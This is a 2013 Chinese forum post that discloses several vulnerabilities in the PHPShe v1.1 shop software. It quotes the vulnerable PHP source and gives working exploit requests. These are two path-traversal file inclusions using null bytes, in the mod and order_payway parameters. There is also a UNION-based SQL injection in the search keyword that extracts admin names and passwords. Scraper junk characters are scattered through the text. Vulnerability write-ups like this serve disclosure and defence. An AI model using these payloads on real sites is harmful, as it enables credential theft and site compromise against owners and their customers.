找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2577|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/. k4 A" k; T5 O/ k  ^2 f
/* Phpshe v1.1 Vulnerability% F8 x! D' c* ^1 D; J( N
/* ========================
2 m% r: y7 T- B/ v4 Q# d  g; X/* By: : Kn1f3
% @% J' H7 f( n9 R/* E-Mail : 681796@qq.com1 m2 }: h( y' J" x5 M
/*******************************************************/
5 i# {, |( ?4 G; Z5 A, @0×00 整体大概参数传输& j+ k. N8 \3 f, X% {
+ {$ d: C; a2 G

5 I0 x# |& y3 w3 B
- i$ ^) E. ?' l5 V& s
//common.php9 k4 c2 k4 L- ]& ]" w/ t0 X7 Y; J
if (get_magic_quotes_gpc()) {; Q' k4 ?, K+ `, ^1 ^7 |1 ]
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
2 X$ I2 H9 M- W# Q, A. f!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
2 g  j. v0 D4 B8 p/ ^  t}
0 e1 x$ ^; w; y& T- D) \else {5 [$ [9 T4 c6 r  f" h
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');. i8 E! {/ ~! `' `9 a
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');+ \" e* W0 e* S6 ]3 l$ G6 m1 ]; Q
}
% \' U+ |( ?- i: V% N6 msession_start();
; ]& r7 X  u* F( S# l8 [!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 h; u1 u: x) D" C5 t6 o6 ~!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');$ M! @( G, z5 r+ m* U, x3 q3 t

# ]& q. l% H: ~4 y0×01 包含漏洞  U9 R0 e$ a  d2 k2 k8 i

. o6 h+ ~7 Q+ l* q/ s

( N: A1 @% m( o+ ]6 E& a" b; S//首页文件; B, n( d) H  ~- ^$ o: j
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);7 n3 x  ~8 z$ L* t
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞% h' T- h. U# V$ f
pe_result();
& `) A0 o9 `7 z6 N* R2 |0 p2 i- }- k6 Y?>: V# w8 K' p8 b- M1 @
//common 文件 第15行开始
3 Y# I1 Y) E, o# w, C$ P5 Nurl路由配置
# x; m/ X! M6 K0 l( u$module = $mod = $act = 'index';
8 T0 |; Z, E4 c+ v  y$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
0 y' j) X: S3 i9 n$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
2 v5 ^2 M4 N  ^$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
3 \7 _1 R2 s( S2 i//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%009 I+ S* g) A& }$ x7 w


+ [5 a% S- H5 P( J% d3 l: R
7 e  L2 ^) R0 `8 |7 A$ p) K. S) m 0×02 搜索注入8 O- e8 H4 m: Q9 g& X- E

; m. v: h9 Y# k- q( k0 p( {<code id="code2">

//product.php文件* k2 I7 j4 G  _
case 'list':
6 l, C5 ?5 Q! q$ k$category_id = intval($id);
( g6 Q+ b# V$ c$info = $db->pe_select('category', array('category_id'=>$category_id));& S. J# ^+ ^3 Y6 Z3 m& z* L
//搜索1 h6 ?. L! i# p& {& G, |$ z& `( [# w, D
$sqlwhere = " and `product_state` = 1";
8 y2 d' N/ l5 B& ~4 Y4 Upe_lead('hook/category.hook.php');
( z4 M8 p9 c$ V% O) ?$ s" J  Mif ($category_id) {
: [% E0 C0 q1 J* B3 Q: r5 ]% Rwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
; q- m# I3 j4 H6 w. ]}
  U  Z6 K+ K( V6 k0 T: k- L7 Y) A$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
7 }" O' e- R$ S. o" T/ L3 t( Nif ($_g_orderby) {: B1 I+ S7 y  ~7 |. T
$orderby = explode('_', $_g_orderby);& b  }5 u% j7 f5 z. J1 g
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";& v3 J2 f6 c$ }# b% N
}
& T9 B, W" E4 Y4 V$ _" a# B4 Aelse {! ]2 N7 E% s: z9 F3 C6 V
$sqlwhere .= " order by `product_id` desc";
7 V& u8 N, N6 e' y; r" R% f- Z, Z' ~}
8 q8 v7 H7 I& _7 J$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
* p* A' L) `  _* k7 ^  n//热卖排行0 k3 |/ G7 `0 [; ?8 d
$product_hotlist = product_hotlist();* g# U1 y! c; N8 ~6 Q: e8 W
//当前路径
$ G' s' x  ]" m9 ^# ^3 k$nowpath = category_path($category_id);
! Q" a+ P3 X5 g8 g7 [+ u$seo = pe_seo($info['category_name']);
9 }% l- W( d" qinclude(pe_tpl('product_list.html'));' f. d1 d7 r# b7 p
//跟进selectall函数库  B  A+ \+ W3 n
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
3 W5 B* n% {% w! s. P{
6 k/ H+ E9 \% ?! t8 J//处理条件语句
% V* t4 \$ U1 g+ ]' M$sqlwhere = $this->_dowhere($where);5 ]( `2 ?' m) P+ }
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
1 o$ v" B% t( d7 X' R}: R6 m: Q- a+ o: U
//exp+ c* L) ]* q! u) i. \7 @
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
2 A* v# J( ~0 }' q1 r5 U

</code>
+ m  [+ k9 J. z. z# o8 Q0 I7 }% Q) T 2 p  X* I1 ~: c+ y* l: ^
0×03 包含漏洞2
& {6 i* k+ _/ x" {: m9 O7 c' y9 [ * ^+ ]9 b8 W; C. k
<code id="code3">

//order.php

case 'pay':

" c5 s& e3 f. r2 j& M
$order_id = pe_dbhold($_g_id);


# ?- f7 W0 z% O4 V0 d, x. L$cache_payway = cache::get('payway');


  M# p8 G: D7 _" V2 Dforeach($cache_payway as $k => $v) {

, Y  Z$ c1 e1 \' `' A" i# a/ O
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

' ]" ~  Q2 `) u; z8 O$ J
if ($k == 'bank') {

: S3 J5 t% d% c2 [3 P* f/ u
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

8 e8 ~+ I* m$ U+ p" O# L- z8 M5 R
}

1 J( q' Q# y- y. Y) y
}

) A& Y+ P6 [: V) Y! b
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


2 R2 D: b1 w9 r2 ^!$order['order_id'] && pe_error('订单号错误...');


  F& D0 a$ B1 Y! {# h  w8 ?if (isset($_p_pesubmit)) {


$ d- q0 u' ^9 x7 R. Iif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

5 d' x; c: j) T
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

9 w" P$ p! w0 z1 I/ \
foreach ($info_list as $v) {

& E! t5 P' u/ S, x! q$ B
$order['order_name'] .= "{$v['product_name']};";
8 T% ^  b; A4 a


" h% f2 S/ L3 h8 X}


/ T' U& z0 t, {. ~echo '正在为您连接支付网站,请稍后...';

7 i3 n. _! x) b; }+ w
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

" X5 X- a8 E: r% S
}//当一切准备好的时候就可以进行"鸡肋包含了"


( T+ e+ R" b0 z. u6 ]3 lelse {


/ y  g$ x- Q& Y: qpe_error('支付错误...');


" e6 L% A" T5 u  d}


& w0 `1 Q+ p/ N5 i! b1 e}


% O) \5 ?: D' f5 c$seo = pe_seo('选择支付方式');


8 V; s# I, r8 y& S- k: Xinclude(pe_tpl('order_pay.html'));


+ t4 Z( f. E% o' z, zbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
/ B9 Y! L8 a/ V: \  F

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表